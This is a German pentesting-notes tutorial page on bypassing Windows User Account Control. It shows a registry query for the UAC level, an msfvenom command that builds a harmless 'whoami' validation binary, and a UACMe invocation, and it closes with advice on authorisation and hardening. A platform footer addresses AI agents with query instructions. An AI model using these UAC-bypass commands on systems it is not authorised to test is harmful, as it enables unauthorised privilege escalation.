> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md).

# UAC-Bypass

Die Benutzerkontensteuerung begrenzt die automatische Erhöhung für administrative Aktionen. Ein UAC-Bypass ist nur dann nützlich, wenn der aktuelle Benutzer bereits über ein gefiltertes Administrator-Token verfügt oder der Host eine schwache Erhöhungskonfiguration hat.

## Überprüfen Sie die UAC-Stufe

```powershell
(Get-ItemProperty -Path "HKLM:/SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System").ConsentPromptBehaviorAdmin
```

Häufige Werte:

| Wert | Bedeutung                         |
| ---- | --------------------------------- |
| `0`  | Keine UAC-Eingabeaufforderung     |
| `1`  | Stille Erhöhung je nach Kontext   |
| `2`  | Standardaufforderung              |
| `5`  | Strengeres Aufforderungsverhalten |

<figure><img src="/files/03707d86b799cb21a060b2561eb4e0a5ae3b6717" alt="UAC registry policy query"><figcaption></figcaption></figure>

<figure><img src="/files/7eb1e209e4019cb7de0efb09a4c0117c8549237c" alt="UAC policy value result" width="563"><figcaption></figcaption></figure>

## Bereiten Sie eine Validierungs-Binärdatei für das Labor vor

```bash
msfvenom -p windows/exec CMD='cmd /c whoami /all > C:\Windows\Temp\uac-check.txt' -f exe -o uac-check.exe
```

## Mit UACMe ausführen

{% embed url="<https://github.com/hfiref0x/UACME>" %}

```powershell
.\Akagi64.exe 23 C:\Temp\uac-check.exe
Get-Content C:\Windows\Temp\uac-check.txt
```

<figure><img src="/files/7e36817483e3866dc5b371cbea3343f6f7e7d61b" alt="UACMe execution in a Windows lab"><figcaption></figcaption></figure>

## Wichtige Punkte

* Ein UAC-Bypass ist keine echte Erhöhung von einem Standardbenutzer.
* Bestätigen Sie die UAC-Stufe und den Token-Kontext vor dem Testen.
* Verwenden Sie zuerst eine harmlose Validierungsaktion und wechseln Sie dann nur bei Autorisierung zur gezielten Bewertungsaktion.
* Beheben Sie dies mit strengen UAC-Einstellungen und indem Sie exponierte Administrator-Sitzungen vermeiden.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/windows-vulnerabilities/local-privilege-escalation-and-credentials/bypass-uac-user-account-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
